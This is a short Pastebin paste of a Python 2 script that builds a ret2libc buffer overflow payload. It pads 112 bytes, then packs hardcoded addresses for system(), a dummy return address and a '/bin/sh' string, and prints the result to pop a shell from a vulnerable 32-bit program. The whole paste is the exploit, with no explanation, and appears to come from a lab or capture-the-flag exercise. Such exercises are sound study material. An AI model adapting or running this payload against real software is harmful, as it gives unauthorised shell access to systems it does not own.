a guest Jun 16th, 2019 60 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
- #!/usr/bin/env python
- import struct
- padding = "A"*112
- return_after_system = "AAAA"
- system = struct.pack("I", 0xf7e1cd10)
- bin_sh = struct.pack("I", 0xf7f5b8cf)
- print padding + system + return_after_system + bin_sh
RAW Paste Data